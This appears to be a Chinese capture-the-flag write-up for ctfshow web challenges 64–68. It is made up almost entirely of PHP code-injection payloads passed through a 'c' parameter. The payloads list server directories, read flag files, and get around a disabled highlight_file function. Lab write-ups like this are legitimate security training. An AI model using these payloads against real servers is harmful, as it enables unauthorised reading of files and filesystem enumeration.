ctfshow命令执行 web入门 web64-68

1.web64

ctfshow命令执行 web入门 web64-68_第1张图片
payload:

c=show_source('flag.php');
c=highlight_file('flag.php');
c=print_r(scandir(dirname(__FILE__)));#扫描当前目录有什么文件
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";} #扫描当前目录有什么文件"
c=print_r(scandir(current(localeconv())));#扫描当前目录有什么文件
c=highlight_file(next(array_reverse(scandir((dirname(__FILE__))))));

2.web65

ctfshow命令执行 web入门 web64-68_第2张图片
payload:

c=show_source('flag.php');
c=highlight_file('flag.php');
c=print_r(scandir(dirname(__FILE__)));#扫描当前目录有什么文件
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";} #扫描当前目录有什么文件"
c=print_r(scandir(current(localeconv())));#扫描当前目录有什么文件
c=highlight_file(next(array_reverse(scandir((dirname(__FILE__))))));

3.web66

ctfshow命令执行 web入门 web64-68_第3张图片
ctfshow命令执行 web入门 web64-68_第4张图片
通过这里发现flag不flag.php里,需要进行扫描目录下的文件

c=print_r(scandir('/'));#扫描根目录有什么文件
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} 
c=highlight_file('/flag.txt');
#文件包含,因为没有可执行的代码,所以可以直接读取文件内容
c=include('/flag.txt');
c=require('/flag.txt');
c=include_once('/flag.txt');
c=require_once('/flag.txt');

4.web67

ctfshow命令执行 web入门 web64-68_第5张图片
通过这里发现flag不flag.php里,需要进行扫描目录下的文件
payload:

c=highlight_file('/flag.txt');
c=print_r(scandir('/'));#扫描根目录有什么文件
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} 
#文件包含,因为没有可执行的代码,所以可以直接读取文件内容
c=include('/flag.txt');
c=require('/flag.txt');
c=include_once('/flag.txt');
c=require_once('/flag.txt');

5.web68

ctfshow命令执行 web入门 web64-68_第6张图片
ctfshow命令执行 web入门 web64-68_第7张图片
可以看到highlight_file函数被禁用了,由上题的可知源码,还是传入c参数执行c
__toString是一种魔术方法,用于一个类被当成字符串时应怎样回应,比如输出对象时
ctfshow命令执行 web入门 web64-68_第8张图片
glob:// 查找匹配的文件路径模式,glob:///'查找根目录下的所有文件及文件夹,glob://.php查找当前目录下后缀是php的文件
DirectoryIterator是php的一个标准类,用于文件遍历,参数是文件路径
ctfshow命令执行 web入门 web64-68_第9张图片

payload:

c=var_dump(scandir('/'));#扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}  #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} 
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}    #扫描根目录有什么文件
#文件包含,因为没有可执行的代码,所以可以直接读取文件内容
c=include('/flag.txt');
c=require('/flag.txt');
c=include_once('/flag.txt');
c=require_once('/flag.txt');

ctfshow命令执行

你可能感兴趣的:(ctfshow通关,前端,php,服务器,网络安全)